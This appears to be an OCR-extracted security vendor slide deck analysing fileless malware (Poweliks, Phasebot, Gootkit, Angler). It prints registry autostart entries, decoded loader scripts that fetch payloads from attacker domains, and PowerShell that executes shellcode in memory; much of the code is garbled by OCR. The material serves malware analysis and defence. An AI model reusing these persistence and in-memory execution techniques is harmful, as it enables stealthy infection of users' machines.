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Agenda

 What is fileless infection
* Malware go fileless
— Poweliks
 Malware hiding in the registry
— Phasebot and Gootkit
 Malware hiding in memory
— Angler and Hanjuan Exploit Kits
e Recommended solutions against fileless infection
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A fileless infection (fileless malware)
is malicious coding that exists only in
memory rather than installed to the
target computer's hard drive.

Source: Whatls.com
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Poweliks and Microsoft Windows mentioned on

Aug5, 2014
Poweliks |
g
Angler Exploit Kit
a
PhaseBot
a
; g : Angler Exploit Kit mentioned
Solarbot ~ ' . B on Dec 23, 2014

PhaseBot Cyber attack against
Solarbot on Apr 21, 2015

Source: www.recordedfuture.com
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POWELIKS
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Auto-start feature

HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run\[ ]

ﬁ Registry Editor
File Edit View Favorites Help

... || RADAR -
: ¢ b | RunOnce -
4 | i | v

Error Displaying Value

-

=

@j Cannot display : Error reading the value's contents.

(= =E]=]

Computer HKEY CURREMNT_USER\Software\Microsoft\Windows\CurrentVersionRun

— The [] or NULL or "[NON-ASCII STRING]" value cannot be viewed via the

registry editor
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Auto-start feature

pata: rundl132.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write
"\74script language=jscript.encode>"+(newk%20Activexobject
wscript.shell1”)).RrRegread("HKCU\\software\ \microsoft\ \windows'

currentversion\\runm\\")+"\74/script>") [null]

Name: (Default)

Type: String

Length: 30634

Data: #@-AKXCAAA==W!XADKKXPAWTCV* ODH ax +h, )mDk\:p64N+1YcI\dX:s
Cj+M\Nn. OHSUP:n VCTr#IXRKw+ r12:3534Y02=226C+ (NGCAG: JVKO_VGL
{3qQvewlA/nbp6Rdn NC#p.1Y;MX,Fi)mmOomd " n#PDNnO! DX, Ti)8+{q+&p1{xnh~)1Yr\ipr
(LnAD"J j1DrwD UTtnAVr#istbs+v+Z'w b’ DDXPA'mR2X2Cx92 \roGUs+UYUODbxLdv]]Ar
NrDue*i2{h33-"'/Hdyi:f '-Ar NWSdwKh+Md4+AV ' --F T'-2wSnoktnsAR+anriw’
nsSP)1yb\+or (%+1ycium.ravk LRwkV:jz/D+sr8LnADIbi6; X1YrG Pm

[uv#  YMZPDNDEMXPMR"N0"+CNvIUFdH-"dwéyhm. n-"' :bm. wdG6Yw- nY,0.Cs+hG.0Pd+D; a-w
Na--7 cTR1!{ F-wdal#pNmmyYmd Cn#PDIY; DU~ZiN86; X1YrG PNC; * a' nse)
1vb\+or (%+1vycit/ahA RUND7+DO\IC:KhRIRTE*iaRK2+ "E!AKIS;BOCVKNn*iac/:xxNv#p;0

— The contents of the keys created by Poweliks after using Registry Dumper
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e Registry entry that contains an encoded script
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| Computer\HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Run

#E~"ZXgARARA==W! X" DKXXP "WICV* ODH ax +h, )ka.\lpﬂN-bchJ)dx: s cj+H_\_n. oHSuP:n vcTr#IXRKw+ “x!2:J504Y02
=226C+ (NGc"G: JVKo_VGL{JQVBW1"/nbpéRdn Nc#p.l] Y;Mx, Fi) mmOm4 " n#PDnO!Dx, Ti) E+{g+&pl{xnh~) 1¥xr\lpx (Ln"D ' J 31DxwD
Utn”Vr#iStbs+v+Z'W b’ DDXPA'mR2X2Cx92 \rDGUs+UYUODbxLdvJ]Ar NrDuE*i2{h3J-'/HdY[ :f '-Ar NWSdwKnh+Md4+°V'-~F
T'-2WSnDktns“R+anriW’' nSP) 1Yb\+or ($+1YcJUm.ra¥Yk LRwkV] jz/D+3x8Ln"DJbi6; x1YxG Pm[Uv# " YMzPDnDEMXPmR
"no"+CNvJuFdH~-"'dWéYhm.n~"' :bm. WdG6Yw~ nY,0.Cs+hG.0Pd+D;a~-w Na--7 cTRl!{ F-wdaJ#pNmmYm4cn#PD] Y;DU~ZiN86
$X1YxG PNc;* a' nSP) 1Yb\+or ($+1¥cJt/ah” RUnD7+Do\JC:KhRJ RTE*iaRK2+ _E!AKJS;BOCVkn*iac/[l xNvip: 0
'CRAB2C N2 ~kMWxsnUYUYMkUodcxr10+s2] '-Eb3ERd; (/ODbU'.l'_:_: CVm/Y&x9n6}0cIJIbQE#1 !WxD'EEUQJICYSwEL ;WD 'WR; .+mYnP_[6¥or"+
+CE6UD~OME] ~OE8#prOvEWY ™~ ;WDRIMxrY]) "6c.n/aW /nAG[H#IE60R;VGd] "#I;6'WR; .[ 100 K] 6Ywk"n" !0U~DD;n*iE60' 6RM] Ook”
+VEWXObPEW/ { ; ODR62]] xbdPf 602?D.0] 1hv#pEOKR"n19" " +#pEW qDkDn"!0/c]nl9" !00Rjr.+R *bi!0d ;VWAnv#IE6 ;VGk+v#i6RGnV] ¥YnsbVnc
!0xDbimRI!UcJ'Jx_; OUQr-EPJSEb+O~JIxW.nkYCDDEB! SE#pORG+"nYl sxVl " ;W $i)NhékVl cZ0csbVn2arkYd' ab#PkWciNxcbh{'T#P
[vJ4DYa) zONKAX "WCNC: x*MW/KWYCcmiNsE [WSX "WCNETI$amITS$1FiWmcO* “WORCEW (O19viOF1 ! OTviGOmO+&H] YsX+!UnF|a0vc+X+EFINS 'EcDOw=2z
& [KnxsGmN :b"MWAKODRmK:J[WSxsWmN&3J22A&62;2,0X0&8 Z!fO*X1fRA+0F vO09~vFISWc)cd bx[Khk(n |~ivR,f! 600 21V +X+J*IN
"mRAX-k.G :nxDcIhDGAl //Eb* "Elxb{Jx{ 6, *$: +XORAX"WOKULY) ) 23Z&QRVnO?DDbxL ", /Kx~+MOT=) 0. K:ACAl v*?D.bxLvB\x. !52]1w(
*o\ 1{'MsHel Zo|wO}50944 .TtogGiViym(]2( cl1\;6HS5gX05p"\1x309w]X9) iwo?$83CVSt.DN(U) ViVsHS Fs([V.zmHa4 MozIJFs[V.z|w
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e Stage 1 Code of Decoded Script

fonction log(l) {try{x=new ActiveXObject ("Msxml?.Server¥MLHTTP.6.0") ;X.open ("GET", "http://faecbhd7.com/log?log="+1,
false) ;x.zend() ;retorn 1; jcatchie) {retorn 0; e=l23ira=new LctiveXObhject ("WScript.Shell") ;while(e!=42){try{w=a.
ExpandEnvironmentStringg(" windir:") ;p=w+"\\svstem32\ \windowspowershell\\v1l.0\\powerahell .exe" Jf=new ActiveXObject |
"Seripting.FileSvatemObject™) rfonction cdn() {try{return a.RegRead ("HELM microsofti\net framework setuph
Yndphh\v2.0.50727\\2p") ; }ecatch (e) {return 0;}}function d(u) {x=new LctiveXObject ("Msxml2.Server¥XMLHTTP.&.0") ;x.open |
"GET",u, false) ;x.send () ;ufn=a.ExpandEnvironmentStrings ("ttemp:i\")+u.substring (u.lastIndex0f ("/ ") +1) ;ufnt=ufn+" . tmp™
suft=f .CreateTextFile (ufnt,true,-1) ;if (uft) {uft.Write (X.responsebody) ;uft.Clogse () ruf=f.CreateTextFile (ufn,true) ;uftc
=f. aetFlleiLfrt],Lfs =uft.0penAsTextStr Eami],hfs Readizj,hf Write {ufs.Read{uft.5ize-2) ) ;ufs.Close () ;uf.Close ()} ;L
.DeleteFile (ufnt 1y :f.DelecteFile (ufn) rtiwhile(!f.FileExists if (cdn()==0
Fid({"http
WindowsXP-FEES968930-x86-ENG.exe™) } (a.

Environment ("Proceszs") ) ("a")="iex i[Text.Encndlng]::ESHII.aetSt:ingi[Cnnve:t]::F:DmBaseEQSt:ing(

The script checks if Windows PowerShell and .NET Framework is installed on
the system
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e Stage 1 Code of Decoded Script

{Environment ("Process™} )} ("a"}="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64S5tring
'EZnVuY3Rphb24gZ2RTUGEFyYWOgEF QY XIThbWVOZXToUGSzaXRpb 2 4 S MCxNYWS kY XBvenkSJFRydWUpX SEbVHI wZVEdXSAKUGFy YW1 1 dGVye yxbIUGFy YW1
1dGVyEFBve210aW9uPTERXSBEVHIwZV0gJFI1dHVyb1R5cGUIW1 ZvaWRdET s kVHIWwZUJ1aWz kZ T SWO FwecERvbWFpbl 060Nl cnd 1 bnREL2 1haW4uRGV
maWsl1RHIuYWIpYOFzc2 Vet Ymx SEChOZX et T2 JTgZWHNOIFNSc3R1bSS5ZWZ2ZWHN0aWSuLkFzc2VEYmx STmF £ 2591 UnmVmb GV jdGVERGVs ZWdhdGUiESksW1N
S5c3R1bS55ZWZ2 2 ZWN0aNSul kVtaXQuQdN=zZW1ibH1 CAW1 s2GVy QW j ZXNzXTo e UnVuKS SEZWNZpbmVEeWShbW1 jTWO kdWx1ECJJb k11 bW yveUlvZHV=SZ5T
3JGZhbHN1ESSE ZWZpbm Ve XB1RCIJNeUR1IbGVR Y XRIVHIWZ S I s T kN Y XNzLFEl1 Y mxp Y yxT ZWF 3 ZW0sQW S zalUN s Y XNzLEF1dG9DbGFzcyIsW1NSc3R1bBSS
HdWz0aWNhe3REZWz1Z2F0ZV0pOyRUeXBl1OnVpbGR1 ci SEZNZpbmVDb2 5=2dHI1 Y 3RveigiUlRTcGVjaWFsTmFt 252 TaWR1{n1 TaWcesUHVibG1 jIixblU3]1
zdGVELLI1 Zmx1Y3Rpb2 4uQ2 FebGluZ 0NvbnZ 1bnRpb2 5zXTo6eU3RhbmBhem)s JFEhcmFEt2ZXR1 cnMpLIN1dE] teGr1bWVudGF0aWSuRmxhZ3MoI1 J1bnR
pbWOsTWFuYWdl ZCTpOyRUeXB10nVpbGR1 ci SEZWZpbmVHZERob 2o T kludmS rZ25IsT1 Bl TmxpY v TaWR1{n1 TaWcs TV 3U2xvdCxWaX JO0dWF s I iwkUmWV
0dXJuVHIWZ SWwEUGFy YW1 1dGVyeykul2VOSW1lwbGVE ZWS0YXRph 2 SEhEFneygiUnVudGl t25xNYWShZ2VETi k7 cmV0dXJuICRUeXB10nVpbGR1 ci SDemV
hdGVTeXBl1ECETIWZ1bmN0aWSuIGdhe 1IBhemFt IChEUOGFyYW11dGVyEFBve21 0aW9uPTASTWFuZGFO0b3 J5PSRTcnVIEVOgWINOcmluZl1 0gJE1vZHVsZ25x
bUGFyYW11dGVyEFBvc210aWSuPTESsTWFuZGF0b3J5PSRUcnVIEVOgWINOcml uZl 0gJFByb2N1 ZHVyZSkTJFHNSc3R1bUFzc2VEYmx SPVEEcHEED2 1haWs
dOFpDdXIvEWS RGOt YWIluLkdldEFzc 2Vt Y mep 2 Mo B =¥aGVyZ 51 PYnpl Y 3Qge vA kK y SHEG9 i YWRBc 3H1 bW seUNhY2h1 TCI1BomgJ F3uTGS jYXR __ ")

e=a.Bunip+" iex fenv:a™,0,1);
'
catchie)
i
log(scriptexcept "+e.message] ;
cloze():
E
b
close():

— Executes further code, stored in base64

10 Copyright 2015 Trend Micro Inc. ’I
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e Stage 2 Code of Decoded Script

function gd
{
Faram ([Parameter (Position=0,Mandatory=5True)]

[Veid]):
ETypeBuilder=[LppDomain] : :CurrentDomain.DefineDynamichssembly [ (Hew-Object System.Reflection.hssemblyName |

"REeflectedDelegate™) ), [System.Reflection.Emit.AssemblybBuilderficcess]: iBun) . DefineDynami cModule ("InMemoryModule™,
£false) .DefineType ("MyvDelegateType", "Class, Public, Sealed, An2iClass, hutoClass", [Syvstem.MulticastDelegate]) ;
ETypeBuilder.DefineConstructor ("ETSpeciallame, HideBy3ig, Public™, [System.Reflection.CallingConventions]: :Standard,

[Tyvpe[]] S5Parameters, [Parameter (Pozition=1)] [Tyvpe] SReturnTyvpe=][

SParameters) .SecImplementationFlags ("RBuntime, Managed™) ;
$TypeBuilder.DefineHethnd{"Invuke","Puhlic,EideBySig,NewSlDt,Vi:tual",$ReturnType,$FaramEter5ﬂ.

SetInplementationFlags ("Buntime , Managed™) ;
return STypeBuilder.CreateType () :

— The First Section, function gd, contains script that is used to interact with the
systems memory in order to change permissions on a section of memory so
that the code which will be written to it can be executed

(@) TREND
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e Stage 2 Code of Decoded Script

fonction ga

{

Param ([Parameter (Position=0,Mandatory=%5True)] [String] 5Module, [Parameter (Position=1,Mandatory=5True)] [String]

SProcedure) ;

E5ystembissenbly=[AppDomain] : :CurrentDomain. Gethssemblies () |Where-Object
{
$ .GlobalhssemblyCache -And $ .Locatiom.Split({™\\")[-1].Equals("Sy=stem.dll")
¥
EUn=afeNativeMethods=5Svatembizsembly. GetType ("Microsoft.Win32 . UnzafeNativeMethods™) ;
retorn $UnsafeNativeHethnds.GEtHEthndt"GetP:DcAdd:ess"}.Invnke¢$null,g¢[5ystem.RuntimE.Internp5ervices.HandlEREf]

(Hew—-Object System.Runtime.InteropServices.HandleRef ( (Hew-Cbject IntPtr),fUnsafeMNativeMethods.GetMethod (
"GetModuleHandle™) . Invoke (5null, @ ($Module) ) ) ) , $Procedure) ) ;

— The Second Section, function ga, is used to interact with and utilise
functionality provided by functions/APIs which it exports from system DLLs
such as “kernel32.dll” and “user32.dll”

12 Copyright 2015 Trend Micro Inc. ” IR E w B




e Stage 2 Code of Decoded Script

[Byte[]] Sp=[Convert]::FromBasegfd4String ("Vivag+xoamtYamVmiTWYWGEpyZol Fmlhgbma JREZEYamVmiTWeWGpsZolFoFhaM2aJRadYaiJmild
WkWGouZol FplhgZGaJRahYam=xmi UWgWGa JRaxmi TWuZEEWARRA R OXAVM] vdMdFxHVhEEHHRchsbGo jxkEMAT t ADFODWwAXWxOXQTGOhZMdF1ExpYnLHRA
hhenlBxk¥cAMdF=EdldFDERbREyb2ZHExOW4 ZGRvEWbHEbxzc8 ZFvgC Ly FeLCWale SwYdSWLcTCHVZgz /vy i BR+1i10VmDJIUEZ j 2wkF1EBkeD,/ wxy&oP
/DHQS08h1zotVCItCPItEEHIDZ fgARSELeCCLecEYLWCSLOBgDa8gPal,/ gddei JXeyJReSFwi+EgghAROsLi 1IEY68mlLXevLdei LRfi LDIcPLwRDizSGg2X
BARAPKiU30jUXQA/ IpREfSLEfvILXfQD2 IpERAdA6RE 304N,/ REyDE fwNcuWDE fwNdQOJdeCIJT £ SHNTbAZWwC 1N It IpcEbADYDRecDEEIEKCD
+A0yE4P4D3UDix¥w/ 0¥ 410X 400X kcoWNRcBQUvaVEIt1CIueQBEARTHGEEEALGDAAAAWALAD3vIzUGoA, ICIREi FWA+EFgQERRT t LVINI SACL
+POKDTALFIIUGSAZ YWY TSWZZM4tECIsyv0852 AovOhec10FYt 9CItyDIHHEBEALAL P31 30EL/ jZph+35Swh
S RESDWigSsTERvEY tWwPAPWi46AAAANg3WBDABOSY 1 8AQvLDWPIUEfoV4I1 F5IXAdCuLXw)DXfj rHosDhecESEQ+3wlsHi034jUQIALID, deT
S VECJA4PDEIMTAHK I 0X4g8cUgz8hdbuljgQafACITeCLijgAARACT.2CteNAPIg2X0A0=2i 1 g0V D czWHVriRenQi jXkIiVEWD 7 cXZoXSdayB4w3 PALD
DDEHRERquwLHTfBLEEFLQEPCiEEEhfZLWQtIPItHCChqﬁGDBHEUIEEjfDesCHEBlevahEEUL?WHHZKCTUQkEEEdQV-""};

[Uint32[]] %op=0:

[[Zv=tem. RPuntime. Interopiervices. Marshal] @ i GetlelegateForFunctionPointer | (ga kernelis.dll VirtualProtect), (gd
Bi[Evte[]], [UInt3z2], [UInt3Z2], [UInt32[]1]) ([IntPtrllll).Invoke($p, 15103, 0x40, fop):;

[[Zvstenm. Funtime. Interop3ervices. Marshal] @ i GetlelegateForFunctionPointer ([ (ga useriZ.dll CallWindowProch) , (gd
Bi[Evte[]].,[Evce[]], [UInt3Z], [UInc32], [UInt32]) ([IntPtrliil).Invoke(ip,$p,0,0,0);

— The Last Section, variable Sp, will have the shellcode and dll once it is
decoded from Base64 encoding
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* Decoded variable Sp contains shellcode and an embedded DLL
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* Process created when the DLL is injected into the system’s memory

Time PID Process Path Cperation Info

%03:25:00:328 236 Ciivirusa. exe New process rundll32.exe javascript: ™. . \nshtml, RunHTMLApplication *;document
%03: 25:02:078 1624 CHWINDOWS \system32cmd. exe process exit

%03: 25:02: 797 203 COWINDOWS \eystem 32\yrundll32. exe New process CHWINDOWS \system 32 Wwindowspowershellw 1.0 powershell exe”
%03:25:0?:6?2 352 PRAe]s I KEgggg30s\PscystomSetpU] exe procezs et

%03: 25:15:125 1472 owershel exe NEw Drocess CAWINDOWS\systern32dlihost.exe I

WindowsPowerShellby 1,0

## Dllhost: Entire Memory

Df f=et

OQOO90ECO | Lo
OOO9OFO0 | L
ODOO90FA0 | L
OQOO90FBO | Lo
OQOO90FCO | Lo
ooo91000 ;. . 06A0414:8:178.89.159.34.178.89.159.35:1 ... ... ... ... ... ... ...,
OOO9L040 |
OQOO9LOBO | Lo
OOO9LOCO | L
goosiioo ... ME@. ... . Wi
ooosiid4n0 @, PE. L. 975 .. ... .. &% ... 12..... ~AZ L o..........
0o091180 ... B2, ..., OF .
goosiico ... .. B
00091200 | .. ... A2 B HEER
ooo91z40  ESS1.2. ... .. N B. & .2 MPRESSZ..... A2 N
goos9lzeo ... BB
OOO9L2C0 | L v
00091300 2 . 19+4#0 T pi, ... & .. SYWI . OIEG . Vy. . 0. . lelv.t E. . 11 ivyP.al
00091340 . h.h3. . DIDO. 1.4 12.u73.6¥45.@.  IFe_. . 1At. Flb.rasC. ja0Qod 2 00 =
oo091380 Ox. P& cedpf4. or. Ero. . culEIRo. L. % . D10 .K30VhIb.D. v @6 =%& . @
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e Payload

+% Dllhost: Entire Memory

Qf f=e=t

01013340 & .. . E tmp.f. . H[" ] M= £ I I N IO - T -
01013380 rzype :md&ver51un 1 Déiaid=k=éibuilddate=k=iid=%=fo==x= X= http: X
010133C0 =-g.=...a0 .1...=0 =07 :1:%07:];. powershell . exe. ... .. ... .. ..

Protocol Source Port DestPort Info
55729 domain Standard query Ox7c08 A 1e90ff.com

DNS domain 55729 standard query response 0Ox7c08 A 31.184.192.80

lHost: 1e90ff.c0m|

Content-Type: application/x-www-form-urlencoded
content-Length: 0

HTTP,/1.1 200 OK

Server: nginx/1.2.1

Date: Tue, 18 Nov 2014 18:53:12 aMT
content-Type: text/xml; charset=utf-§
Connection: close

Expires: Thu, 01 Jan 1970 00:00:01 GMT
cache-control: no-cache

<?xml version="1.0" encoding="UTF-8"7>
|<query><![CDATA[testoster0ne+f0r+w0men]]></query> |
|- ¥
<titles<![CDATA[eGameNation] ]></titles
<description=<! [CDATA[Your flash game source. ]]=</description=>
<url><! [CDATA[Gamenation. com] ]></ur 1>
hid=0 00041 hicls
<clickurl><![CDATA[http:,//88.214.241.85/c1ick?sid=201a117c856b12636030442F301d28f6ec8fe8a3&cid=0]]
=</cTickur 1>
</ records
<processTime>1375</processTime>
</records:
<ref=http%3ak2fi2fexpendablesearch. com®2fsearch. php%3fo%3dtestosterone+for+women</ref><id=2</id>
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PHASEBOT
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Registry 1: Auto-start Registry Entry

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Windows Host Process (RunDll) = rundll32.exe
javascript:"\..\mshtml|,RunHTMLApplication
"-eval((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\Sof
tware\\Microsoft\\Active%20Setup\\Installed%20Components\\{725
07C54-3577-4830-815B-310007F6135A}\\JavaScript")),;close(),

Copyright 2015 Trend Micro Inc .
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* Registry 2: Loader Registry Entry (1/2)

i Registry Editor b -E s
File Edit Wiew Favortes Help
""" . {44BBA ~ || Mame Type Data
H K {ﬁ‘BFSlI' i b B —— fnliie st ﬁ:‘l
B g;gszu %]JQ;QEEHE{ REGSZ sPowerShellScript = "TyBSZWFKEFUZ CBFeGVjdXRIFNCBFbmNyeXB0ZWQgU2hlbGxDb2RIEZyb20gVGhIFIZ2IzdHISL... I
| osx: || PRcHEncodedd2  REG_BINARY 8781 3f 5c dl 256/ 7d c8 47 Of 5a 9c bJ 21 11 Ub 34 ab Oe 9d 2e 59 db a2 51 c/ 66 18 54 ba c2 1d 6b c0 b8 17 16 23 3 7 ..
______ | (eopac. - || HRcHEncodedSd  REG BINARY 87 46 53 6 96 a7 6b aa &8 65 ab da ae 96 4 98 43 b5 Be £5 99 2¢ 59 9e 2b cd €3 66 1c 54 52 8a cl 5e 01 31 ff ee 27 8b 4 f...

4 L I

Computer\HKEY_CURRENT_USER\Software\Microsoft\Active Setup'Installed Components'{72507C54-3577-4830-815B-310007F6135A}

sPowerihell3cript

W IYESEWFRIEFUECEFeGVIidEIRLIFJINCEFhMyeXEOZWgUZ hlhGuDbERIIEZvhE0gVGh1IFJ1E2Z 1edHISIAOKD Q0 IF. . . ™;
aWlSShell = new LotiveXOhiect (hW"UScript.Shellh ™)

sWindows = oW3Zhell.ExdpandEnviromment3trings (W "2windics ™) ;

sPower3hell = sWindows + YU\ 8 %\ esvstens2y vy windowspowershe L1V w100 S powershe Ll exe’, 7
aFile = new ActiveXOhject (hW"Icripting.FileSystemlhiecth ™) :
if (oFile.FileExist=s(sPower3ihell) )

{

(0WE3hell.Environment (b "Processh ™) (4 "LoadZhe l lCodeScripth 7

= NMiex

[[Text.Encoding] : t A3CITI. Get3tring([Comwvert] @ :FrowBasedd3tring ('Y + sPowerZfhellIcript + %0 118"

aWZShell.Run (sFPower3hell + 47 iex fenv:LoadihellCodeScripthy ™, 0O,

1) 7%

— The script that executes a PowerShell script

19 Copyright 2015 Trend Micro Inc.
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* Registry 2: Loader Registry Entry (2/2)

£

Read And Execute Rc4 Encrypted ShellCode From The Registry

# Set BRegistry Key
£sRegistryKey = '"HECU:\Software‘\Microsoft\Active Setup‘Installed Components%{72507C54-3577-4830-815B-310007F&135A}";

# Set Key For Key Stream
[Byte[]]5bEey = [System.Text.Encoding]::ASCII.GetBytes ("Fhase™);

# Import Native Functions

$sCode = @"

[D11Import ("kernel32.d11™) ]

public static extern IntPtr CreateThread(IntPtr 1lpThreadiAttributes, uint dwStackSize, Byte[] lpStartiddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr 1pThreadId);

[D11Import ("kernel32.d11™) ]

public static extern bool VirtualProtect (Byte[] l1pfddress, uint dwSize, uint flNewProtect, [Cut] IntPtr
1pfl101dPraotect) ;

[D11Import ("kernel32.d11™) ]

puoblic static extern unint WaitForSinglelfbhbject (IntPtr hHandle, int dwMilliseconds);

"@

# Make The Code Recognized By PowerShell
SpFunctions = bdd-Type -memberDefinition $sCode —-Name "Win32" -namespace Win32Functions -passthru

# Declare Shellcade Array
[Byte[]]5$bShellCode;

# Check Pointer S5ize To Check If x64
if ([IntPtr]::5ize -eg 28} {

— PowerShell script that decrypts and executes a binary embedded in Registry
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e Registry 3: Encrypted Binary

' Registry Editor

File Edit View Favorites Help

4 L1

| [44BBA -
| {6BF5Y

o sord |
L 189820;
1 189820;

| [BO9BAC ~
I

Type Data
REG_57 (value not set)
3yascrip R ) PowershellScript = "IvBSAV
iz RedEncoded3? REG_BINARY
s RedEncodedad REG_BINARY

xR

iMCBFhmMyexBOS W g

hib G2 RITE b g h

{l

BTE7H5cdl 2567 Td cB470f5a9c b7 21 1f0b 34 ab 0e9d 2659 d6 a2 51 766 18 54 5a c2 1d 6b 0 BB 17 fB 23 3 7d ...
8746536f9% a7 bbaa el b5 abdaac964c 9843 b582e599 2259 %e2b cd e3 66 1c 54 5a 8a cl 5e01 31 ff ec 27 b f4 £...

Computer\HKEY_CURRENT_USER\Software\Microsoft\Active SetuphInstalled Components\{72507C54-3577-4830-815B-310007F61354}

Tirme PID Process Path Operation Info
Ak 14:48:32:555 2348 CAWindows\System32VWindowsPowerShellwl.0h powershell exe rermote thread(G14) ChWindows\explorer.exe
& 14:48:32:727 2348 Ch\Windowsh\Systerm32\WindowsPowerShell'wl.0\ powershell exe create remote thread C\Windows\explorer.exe i
% 14:48:32:883 1880 Ch\Windows\explorer.exe create remote thread Ch\Windows\Systemn32\taskhost.exe
»ﬁ 14:48:33:039 1980 ChWindows explorer.exe create remote thread CAWindows' System32hdwim. exe
Pa i ]
— PowerShell.exe injects a binary into explorer.exe
21 Copyright 2015 Trend Micro Inc. " I$E§B



GOOTKIT
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* Registry 1: Auto-start Registry Entry

Hf Registry Editor
File Edit Wiew Favorites Help
.11 L.l RADAR a
(i Run) I
----- . RunOnce L4
b || Screensavers -
P — m | b

Mame

ab| (Default)
) rundiizz

Type
REG_SZ
REG_SZ

Data

(value not set)

mshta "about: <title> = /title> <script> moveT of-300,-200);re...

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion' Run

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

rundll32 = "mshta "about:<title> </title><script>moveTo(-300,-
300);resizeTo(0,0);</script><hta:application

showintaskbar=no><script>eval(new

ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\

xsw\\loader'));if(!window.flag)close()</script>

23 Copyright 2015 Trend Micro Inc.
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* Registry 2: Loader Registry Entry (1/2)

i Registry Editor =N ESR(
File Edit Wiew Favorites Help
: - Software Marne Type Data
- ;L‘Z"" ab] (Default) REG_SZ {value not set)
= A’ "[’} ol 34 binaryimage32  REG_BINARY 4d 5a 90 00 03 00 00 00 04 00 00 00 ff £ 00 00 b& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 0...
o crp stakew abiloader | REG_SZ var GlobalObject = thigvar FSO = fso = new ActiveXObject("Scripting FileSystemObject Jvar .. |

: [z~ JJ Classes

Computer\HKEY_CURRENT_USER\Software!, xsw
"loader™="+var Globallkhject = this;

war F80 = fso = new ActiveXChiject (W"Icripting.FilefystemChiecth ™)}

war WshShell = new LotiveXlhiect (NUUEScript.Shellh ™)

var DefaultDir = WshShell.ExpandEnvironmentStrings (4T THESY Y0 ")

var HTABunCommand =

YMahout:<titleri </titler<scriptrmoveTo(—-300,-300) ;resizeTo(0,0) ;</scriptsy™ +
Wrehtarapplication showintaskbar=no/ r<scriptreval (new ActiveXObject (' Wi3cript.3hell') . b "+

\rRegRead ("HECT Y AW Y Softwaret W WA e WA Loader ') ) iE ( 'window. £lay) elose () </ scriptsh ™

function Resources ()
i

FF[mshta.exe [ TVOAAMALLAFARAL /OA L qARR AR AR QAR R AR AR AR A RN AR AR RRARARD
BARARRARGAARLRAdFugd At ANNThgETHORVGhpeyEBwomOnewF & TGN oS wACEL Z5Bydildgaildog
FESTIGLwEGUUDOOKJAARLARAR ARy IrCEINeli iTHyIokxdya0Re i iTHgIok14REJHe Ut
QigGokxdye0TeEuiTHILrRIdCalMeMut LHoN ok dve0Me i THhIaNoCEIMeAAp b iaphd |, |

24 Copyright 2015 Trend Micro Inc.
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Registry 2: Loader Registry Entry (2/2)

fonection SetupDWX ()

{
if (!FileExists(DefaultDir+\"mshta.exe\")) UnpackResounrce (\"mshta.exe\", DefaunltDir +\"mshta.exe\"):
if (!'FileExists(DefaultDir+\"dynwrapx.dll\")) UnpackResounrce (\"dynwrapx.dll\", DefaultDir +\"dynwrapx.dll\"):
if (!'FileExists(DefaultDir+\"dynwrapx.sxs.manifest\")) UnpackResource (\"dynwrapx.=sxs.manifest\", DefanltDir +\"dynwrapx.sxs.manifest\") :
if (!FileExists(DefaultDir+\"mshta.exe.manifest\")) UnpackResource (\"mshta.exe.manifest\", DefanltDir +\"mshta.exe.manifest\"):
WehS5hell.Run (" "'+DefaultDir+\ "mehta.exe\\\" \\\"\"+HTARunCommand+'\""',0,0):
Exic(): war ShellcodeHexStxr =
} ' LLEBECHIECZBE L FUADDD US4 S FUES TUFCOO M 45EC T35 20000000836
try EF40D08365F000FF75F88D45FOSO0FF T SFCE8620300000FEeCO85C0T430C7
{ 450873007 600CT4SDCE300680CCT4EEOEFO0TI0OCTASE4T4002 " +
var DWE = new ActiveXCbisct (\"DynamicWrapperii") : 'E00CT4EESE5007800CT4EECESCO0000ED4SDE50FFTSFOFFTSFCES5400
ExecuteShellCode () D0D033C08BESSDC20400558EECE3EC20CT45EN01000000CT45E41000000
function ExecuteShellCode () y CT4A4EEZ02000000CT4EECI00000C0OCTLEFO04000000CT45F44" 4+
{ I 'DODODOOCT4ASFE04000000CT45FC400000008B45083C1E31D8B4435E036
_ A EEESDC3558BECS1ECT 0030000836 EECOOCTA5AS2E005300CTAEACTIONT O
var Codehddr = DWX.RegisterCode (ShellcodeHexS5tr, \"execmteCode\", \"i=1\", \"r=1\"): NCT4EETA00E500CT 4554 ED00E2 00CTLEEEEFO0EFIOCTASECTAD T +
DWX.executeCode (0) ; ' D2500CT4ASCOSC005300C715C179007300C7415C271006500C715CC5000
} 3300C745D0320000008365D400CT745DESCO000006A448D355CFFFIFTS0E
Exit(}); 22E0EQDOOCTESECEFFFFEFFA40000006AI0ED4EDCEQES200EQOOD ' 1
H '68CCD200008DBSS0FCFFFFSCIESQOFOEQCOOEA0R63080200008B4508F7E
catch(e) DBECODODO0EE1S08FFE06185AEECCTEE0O0FCEFFFFOZ200010068040100005F
{ T7S5ECSD45SA8508B4508FFS 03884 SDESOFFTSECEBB4508FFS0SCF ! +
SetupDWX() ; *F7510FFT7SECOn4500 FFS0SCO0450CCD4D0C03403CES4DF0CD45DC500D
3 Lo 20C000008 1] C aAR4503

— Shellcode execution via DynamicWrapperX

25 Copyright 2015 Trend Micro Inc.

/)

==
-2
om
2 Z

O




* Registry 3: Executable Binary

Time PID Process Path Operation Info
@ 14:47:24:365 1584 CA _Virusha.exe set registry value  key: HKCUNSoftware\AppDatalow value: {d42d0afb-3638-4326-b67b-b0ch954fba®4 } data: C\_Virus\a.exe l
@ 14:47:24:306 1584 CA _Virusha.exe create registry key  key: HKCUNSoftware\ xsw

A14:47:24:412 T _Virus\a.exe set registry value
< [ [ |
Qutput w 0 X

pidttid: 1884/3056
process path: C:\_Virus\a.exe (N
key: HKCU\Software| xsw

Type: REG_BINARY M7

value: binarylma
data: 000300000004 000000FFFFOO0O0BBOOO0O0 0000000000 A400000000000000000000000000000000000000000000000000O00000O0O0O0O0O00O0O0
0o oo S8000D0D0D0D0DE1FBAOEOOBADICD 21 B8 01 ACCD 21 546869 73207072 6F 67 72 61 6D 2063 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D

